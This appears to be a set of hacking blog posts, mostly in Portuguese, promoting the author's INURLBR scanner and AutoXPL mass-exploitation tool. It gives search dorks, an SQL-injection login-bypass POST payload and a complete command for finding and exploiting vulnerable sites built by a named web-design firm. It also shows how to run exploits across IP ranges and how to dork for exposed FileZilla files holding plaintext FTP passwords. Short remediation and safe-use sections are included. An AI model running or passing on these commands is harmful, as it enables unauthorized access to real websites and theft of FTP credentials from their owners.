Scanner INURLBR explorando via post

(Bom dia, Boa tarde, Boa noite) rsrsrs, Quem vos escreve é googleINURL  venho trazer uma forma diferente de exploração com scanner INURLBR usando request POST.

Até o momento a grande utilização do scanner é feito por meio de exploração via  GET e validando valores de retorno, faremos o mesmo porem com comando voltados pro resquest POST.

Para tal tutorial vamos usar um exploit publicado no Exploit4arab

Exploit:

http://www.exploit4arab.net/exploits/1741 - Exploit Author : GeNeRaL

Affected Webs/Versions : All

O XPL trata-se de explorar um falha SQLI do painel de acesso administrativo do site, CMS feito pela empresa Shafferwebdesign.

Dork:

intext:"by Shaffer Web Design" ext:php

intext:"Designed by Shaffer Web Design" 

intext:"Website Development provided by Shaffer Web Design"

Acesso: 
http://www.xx.com/admin.php

POC:
Request POST

http://www.xx.com/login.php?email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.us/&Submit_Login=Login to My Account

Campos explorados com um simples Bypass:
email='=' 'OR'

password='=' 'OR'

Debug request:

• 1 - Enviamos o request Bypass para o arquivo login.php
• 2 - O servidor aceita o request e retorna código 302  http de redirecionamento.
• 3 - Somos redirecionados para pagina my_account.php do servidor.

Agora vamos montar comando para exploração via INURLBR.
Download:

https://github.com/googleinurl/SCANNER-INURLBR

Comando:

- Setar DORK de pesquisa:
Exemplo:

--dork Defines which dork the search engine will use.

     Example: --dork {dork}

     Usage:   --dork 'site:.gov.br inurl:php? id'

     - Using multiples dorks:

     Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}

     Usage:   --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'

Usando para exploração atual:

--dork 'intext:"by Shaffer Web Design" ext:php'

- Setar OUTPUT:

Exemplo:

-s  Specify the output file where it will be saved the vulnerable URLs.

     Example:  -s {file}

     Usage:    -s your_file.txt

Usando para exploração atual:

-s tutorial.txt

- Setar ifredirect validação da URL redirecionamento:

Exemplo:

 --ifredirect  Return validation method post REDIRECT_URL

     Example: --ifredirect {string_validation}

     Usage:   --ifredirect '/admin/painel.php'

Usando para exploração atual:

--ifredirect 'my_account.php'

- Setar string que será concatenada junto ao host, para isso usamos o exploit-get:

Exemplo:

 --exploit-get Defines which exploit will be injected through the GET method to each URL found.

     Example: --exploit-get {exploit_get}

     Usage:   --exploit-get "?'´%270x27;"

Usando para exploração atual:

--exploit-get '/login.php'

Ai fica a pergunta, mas por quê ? eu uso exploit-get em algo que é explorado via post ?
R: O comando exploit-get do script inurlbr é tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo é possível usar ele sem altera o Request total.

- Setar request Bypass POST
Exemplo:
 --exploit-post Defines which exploit will be injected through the POST method to each URL found.
     Example: --exploit-post {exploit_post}
     Usage:   --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'

Usando para exploração atual:
--exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.theultimaterose.com/&Submit_Login=Login to My Account"

Comando completo:
php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"

Exemplo de Saída vulnerável:

OBS: Exemplo do print usei comando -o para abrir um arquivo com alvo.

Solução ?

1. Sempre filtre o que vem do cliente.
2. Não confie em dados que vem do cliente.
3. Filtre todo request seja get ou post $_REQUEST.
4. Use PDO sem moderação Prepared Statements é o poder.
5. Use filtros nativos do PHP filter_var

Referencia para soluções e estudos:
http://php.net/manual/pt_BR/security.database.sql-injection.php
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://php.net/manual/en/pdo.prepared-statements.php
http://us3.php.net/manual/en/filter.filters.validate.php
https://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf

AutoXPL - Executando comandos em massa

"T0" c0m mu1ta pr3guiça de faz3r um post na língu4 d0s gringo, v41 ser em PT-BR m3smo.

Venho trazer um script que vem a muito tempo quebrando meu galho quando se trata de exploração em massa, na questão motor, mas o que seria "motor" ?
Motor refiro-me quando temos um script que pode trazer alvos seja de um arquivo,banco de dados ou gerando dinamicamente.

É justamente isso que AutoXPL faz, ele executa outros exploits de forma massiva.
Suponhamos que você tenha um script básico que explora uma determinada falha SQLI de um server
onde você precisa passar via parâmetro o alvo e só, ele explora 1 para 1.

  [+] AUTOR:        googleINURL
  [+] EMAIL:        [email protected]
  [+] Blog:         http://blog.inurl.com.br
  [+] Twitter:      https://twitter.com/googleinurl
  [+] Fanpage:      https://fb.com/InurlBrasil
  [+] Pastebin      http://pastebin.com/u/Googleinurl
  [+] GIT:          https://github.com/googleinurl
  [+] PSS:          http://packetstormsecurity.com/user/googleinurl
  [+] YOUTUBE:      http://youtube.com/c/INURLBrasil
  [+] PLUS:         http://google.com/+INURLBrasil

Vamos usar um exemplo simples de ping um script dispara um ping contra o host

Exemplo de script 1 para  1:

./xpl.sh 'www.google.com.br'

Agora vamos executar via AutoXPL:

DOWNLOAD:

https://github.com/googleinurl/AutoXPL

MENU:

   -t                : SET TARGET.
   -f                : SET FILE TARGETS.
   --range           : SET RANGE IP.
   --range-rand      : SET NUMBE IP RANDOM.
   --xpl             : SET COMMAND XPL.
   Execute:
   php autoxpl.php -t target   --xpl './xpl _TARGET_'
   php autoxpl.php -f targets.txt  --xpl './xpl _TARGET_'
   php autoxpl.php --range '200.1.10.1,200.1.10.255' --xpl './xpl _TARGET_'
   php autoxpl.php --range-rand 20 --xpl './xpl _TARGET_'

Exemplo de script AutoXPL para  varios:

php autoxpl.php -f targets.txt --xpl './xpl.sh _TARGET_'

O parâmetro --xpl do script AutoXPL funciona executando um command line, assim possibilita até mesmo aviar um curl, nmap, sqlmap ou seja aquele exploit FTP, pois podemos gerar lista de IPs com o script.

Exemplo usando range de IP:
php autoxpl.php --range '200.1.10.1,200.1.10.255' --xpl './xpl.sh _TARGET_'

Accessing sensitive data FileZilla

FileZilla FTP Passwords now Stored in Plaintext.

It's an old vulnerability FileZilla, but we can still find servers with such a security breach, Vulnerability allows access to sensitive files from the server. Containing passwords and FTP users.

FileZilla version ~ 3.0.9.2+ (and possibly older) store all FTP connection data .xml files in plain text.

The following files are what you need to know about:

filezilla.xml – Stores most recent server info including password in plaintext.
recentservers.xml – Stores all recent server info including password in plaintext.
sitemanager.xml – Stores all saved sites server info including password in plaintext.

These files can usually be found in the following directories:
Windows XP/2K: "C:\Documents and Settings\username\Application Data\FileZilla"
Windows Vista: "C:\Users\username\AppData\Roaming\FileZilla\"
Linux: "/home/username/.filezilla/"

FileZilla configuration files
FileZilla is a cross-platform application. That’s why it stores its settings in platform-neutral XML files.

sitemanager.xml 
The XML files are readable for reading with access data, As you can see, everything is stored in plain text, including the password.

filezilla.xml
The filezilla.xml file follow the same example sitemanager.xml, It starts with naming <LastServer>

Quick connect 
QuickConnect lets you connect to servers without adding them to your administrative panel. when instaciado a fast connection it is added in recentservers.xml file.

Danger?
Yes the same way that you can read these files. Malicious applications can do the same, and can be read also on web servers.
ex:
www.target.com.br/folder/{file.xml}
www.target.com.br/microsite/geo243/FileZilla.xml www.target.com.br/149224/prg/programok/Total%20Commander/FileZilla/recentservers.xml

Other files:

1. sitemanager.xml
2. recentservers.xml
3. filezilla.xml
4. bookmarks.xml
5. filters.xml
6. layout.xml
7. queue.xml

Looking for vulnerable servers
Now let's use the inurlbr tool to search sites with such breach and confirm such information.
Download tool: 
https://github.com/googleinurl/SCANNER-INURLBR

Setting command:
using search engines..

SET DORK:
Choose your dork search

• "\FileZilla\" ext:xml
• inurl:"\FileZilla\" & inurl:sitemanager.xml -github -sourceforge
• inurl:"\FileZilla\" & inurl:recentservers.xml -github -sourceforge
• inurl:"\FileZilla\" & inurl:filezilla.xml -github -sourceforge
• inurl:"\FileZilla\" & inurl:bookmarks.xml -github -sourceforge
• inurl:"\FileZilla\" & inurl:filters.xml -github -sourceforge
• inurl:"\FileZilla\" & inurl:layout.xml -github -sourceforge
• inurl:"\FileZilla\" & inurl:queue.xml -github -sourceforge
• inurl:sitemanager.xml & ext:xml & -github -sourceforge
• inurl:recentservers.xml & ext:xml & -github -sourceforge
• inurl:filezilla.xml & ext:xml & -github -sourceforge
• inurl:bookmarks.xml & ext:xml & -github -sourceforge
• inurl:filters.xml & ext:xml & -github -sourceforge
• inurl:layout.xml & ext:xml & -github -sourceforge
• inurl:queue.xml & ext:xml & -github -sourceforge
• inurl:"\FileZilla\" & inurl:(sitemanager.xml | recentservers.xml | filezilla.xml | filters.xml | bookmarks.xml | layout.xml | queue.xml) ext:xml -github -sourceforge

--dork 'YOU_DORK'
- Setting: --dork '"\FileZilla\" ext:xml'

SET FILE OUTPUT:
- Setting: -s filezilla.txt

SET TIPE VALIDATION: 
- Setting: -t 2 
   2 The second type tries to valid the error defined by: -a 'VALUE_INSIDE_THE _TARGET' It    also establishes connection with the exploit through the get method.

SET STRING VALIDATION:
Specify the string that will be used on the search script:
   Example: -a {string}
   Usage:    -a '<title>hello world</title>'
   If specific value is found in the target he is considered vulnerable.
- Setting:     -a '<FileZilla3>'
All filezilla file there is a primary tag called <FileZilla3>. It is trough this that we will validate.
Ex:

Full command - using search engines:
php inurlbr.php --dork '"\FileZilla\" ext:xml' -s filezilla.txt -t 2 -a '<FileZilla3>'

OR SCANNER DORKING-FILE:
php inurlbr.php --dork-file dorks.txt -s filezilla.txt -t 2 -a '<FileZilla3>'

OUTPUT PRINT:

Using FileZilla the safe way

FileZilla is a great FTP client and I use it myself. But since it doesn’t protect your FTP credentials, you should protect them yourselves. Here is what you can do:

1. Don’t use the “Normal” logon type. There are the “Ask for password” and the “Interactive” types that won’t save your passwords on disk. So malware simply won’t be able to get enough information from FileZilla configuration files to hack your sites.

Pros
Malware cannot steal your FTP credential from configuration files.

Cons
You’ll have to enter your password every time you connect to your site.
It won’t save you from more sophisticated spyware such as keyloggers and traffic sniffers. But I hope this sort of trojans can be better detected by you antivirus tools since they need to hook known system functions. To protect yourself from traffic sniffers, always use SFTP instead of FTP (if possible).

2. Hosts trick. If you manage multiple web sites, interactive logon types may be really inconvenient. There is a trick that can let you use the “Normal” logon type in a more secure manner. You should create aliases of your sites’ addresses in the “hosts” file (on Windows, you can find it in C:\WINDOWS\system32\drivers\etc\).

For example you have a site “example.com” with an IP-address "208.xxx.188.166".
To create an alias you need to add the following line into the hosts file:

208.xxx.188.166         my_example

"my_example" will work the same way as “example.com” when you use it on your computer.
However, on other computers it won’t make any sense. Now use this alias in FTP connection settings instead of “example.com”.
If hackers manage to steal your FTP credentials, all they’ll have will be: (host: my_example, user: unmask, password: parasites) – the username/password pair is valid, but the host name doesn’t make any sense to them. It’s like having a key and not knowing where the door is.

Pros
Once you have added new aliases to the hosts file and to FileZilla Site Manager, you can enjoy the ease of one-click connections.
Cons

This trick will only work as long as malware steals FTP credentials from configuration files verbatim (and I have proofs that at least some malware steal the data verbatim).  If they only add a simple check that converts host names to IP-addresses before sending the credentials to their central database, the trick will be useless.  This trick is better than no protection at all, but you should not count on it.
You’ll need to update the hosts file if IP-addresses change.

3. Public Key Authentication. If your hosting plan included SSH (secure shell), you can use FileZilla in SFTP mode. One of convenient SSH features is public key authentication. And FileZilla supports this type of authorization (I didn’t use it myself, but at least have seen the UI in the “Settings” dialog). FileZilla recognizes PuTTY’s Pageant, so the configuration should be easy if you already use PuTTY for SSH.

Pros
Secure one-click connections.

Cons

This authentication method will only work if your hosting plan includes SSH/SFTP. Unfortunately, this option is rearly included into shared hosting plans.
Creating the keys and configuring FileZilla to use them is not a trivial process.
You might still have to enter a pass phrase when adding keys to the Pageant.
Other FTP programs

In this article I reviewed FileZilla only because it’s a popular FTP client that I have on my computer and it was very easy to demonstrate how little it does to protect users’ FTP credentials. However the same concerns apply to all other  programs that have FTP functions: classical FTP clients, web page editors, file managers. Popular applications like DreamWeaver, CuteFTP, Total Commander, etc. account for majority of FTP credentials leaks.

Solution Source: http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/

Referencias:
http://seclists.org/fulldisclosure/2008/Apr/508
http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/
http://bl0wj0bb3r.blogspot.com.br/2015/08/d3lphi-filezilla-password-stealer.html
http://unsharptech.com/2008/05/20/filezilla-ftp-passwords-stored-in-plaintext/